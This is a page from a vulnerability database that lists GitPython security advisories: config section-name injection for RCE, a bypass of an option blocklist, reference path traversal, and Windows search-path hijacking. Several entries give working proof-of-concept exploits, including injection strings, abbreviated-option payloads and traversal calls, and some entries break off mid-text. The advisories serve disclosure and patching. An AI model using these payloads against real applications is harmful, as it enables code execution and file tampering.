stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victi | GCVE Database | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-69097GitPython · git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) High7.3EPSS 0.3%GCVE DatabaseCVE-2026-69097 ### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co | GCVE Database | ||
| High | 8.7 | EPSS 2.2% | CVE-2026-67325GitPython · Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist High8.7EPSS 2.2%GCVE DatabaseCVE-2026-67325 ## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire | GCVE Database | ||
| High | 7.8 | EPSS 0.4% | CVE-2026-44243Shallow backup: GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and High7.8EPSS 0.4%GCVE DatabaseCVE-2026-44243 ## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` | GCVE Database | ||
| High | 7.8 | EPSS 0.3% | CVE-2024-22190Shallow backup · Untrusted search path under some conditions on Windows allows arbitrary code execution High7.8EPSS 0.3%GCVE DatabaseCVE-2024-22190 ### Summary This issue exists because of an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository. ### Details Although GitPython often avoids executing programs found in an untrusted search path since 3.1.33, two situations remain where this still occurs. Either can allow arbitrary code execution under some circumstances. #### When a shell is used GitPython can be told to run `git` commands through a shell rather than as direct subprocesses, by passing `shell=True` to any method that accepts it, or by both setting `Git.USE_SHELL = True` and not passing `shell=False`. Then the Windows `cmd.exe` shell process performs the path search, and GitPython does not prevent that shell from finding and running `git` in the current directory. When GitPython runs `git` directly rather than through a shell, the GitPython process performs the path search, and currently omits the current directory by setting `NoDefaultCurrentDirectoryInExePath` in its own environment during the `Popen` call. Although the `cmd.exe` shell will honor this environment variable when present, GitPython does not currently pass it into the shell subprocess's environment. Furthermore, because GitPython sets the subprocess CWD to the root of a repository's working tree, using a shell will run a malicious `git.exe` in an untrusted repository even if GitPython itself is run from a trusted location. This also applies if `Git.execute` is called directly with `shell=True` (or after `Git.USE_SHELL = True`) to run any command. #### When hook scripts are run On Windows, GitPython uses `bash.exe` to run hooks that appear to be scripts. However, unlike when running `git`, no steps are taken to avoid finding and running `bash.exe` in the current directory. This allows the author of an untrusted fork or branch to cause a malicious `bash.exe` to be run in some otherwise safe workflows. An example of such a scenario is if the user installs a trusted hook while on a trusted branch, then switches to an untrusted feature branch (possibly from a fork) to review proposed changes. If the untrusted feature branch contains a malicious `bash.exe` and the user's current working directory is the working tree, and the user performs an action that runs the hook, then although the hook itself is uncorrupted, it runs with the malicious `bash.exe`. Note that, while `bash.exe` is a shell, this is a separate scenario from when `git` is run using the unrelated Windows `cmd.exe` shell. ### PoC On Windows, create a `git.exe` file in a repository. Then create a `Repo` object, and call any method through it (directly or indirectly) that supports the `shell` keyword argument with `shell=True`: ```powershell mkdir testrepo git init testrepo cp ... testrepo git.exe # Replace "..." with any executable of choice. python -c "import git; print(git.Repo('testrepo').git.version(shell=True))" ``` The `git.exe` executable in the repository directory will be run. Or use no `Repo` object, but do it from the location with the `git.exe`: ```powershell cd testrepo python -c "import git; print(git.Git().version(shell=True))" ``` The `git.exe` executable in the current directory will be run. For the scenario with hooks, install a hook in a repository, create a `bash.exe` file in the current directory, and perform an operation that causes GitPython to attempt to run the hook: ```powershell mkdir testrepo cd testrepo git init mv .git/hooks/pre-commit.sample .git/hooks/pre-commit cp ... bash.exe # Replace "..." with any executable of choice. echo "Some text" >file.txt git add file.txt python -c "import git; git.Repo().index.commit('Some message')" ``` The `bash.exe` executable in the current directory will be run. ### Impact The greatest impact is probably in applications that set `Git.USE_SHELL = True` for historical reasons. (Undesired console windows had, in the past, been created in some kinds of applications, when it was not used.) Such an application may be vulnerable to arbitrary code execution from a malicious repository, even with no other exacerbating conditions. This is to say that, if a shell is used to run `git`, the full effect of CVE-2023-40590 is still present. Furthermore, as noted above, running the application itself from a trusted directory is not a sufficient mitigation. An application that does not direct GitPython to use a shell to run `git` subprocesses thus avoids most of the risk. However, there is no such straightforward way to prevent GitPython from running `bash.exe` to interpret hooks. So while the conditions needed for that to be exploited are more involved, it may be harder to mitigate decisively prior to patching. ### Possible solutions A straightforward approach would be to address each bug directly: - W | GCVE Database |
Page 2 of 2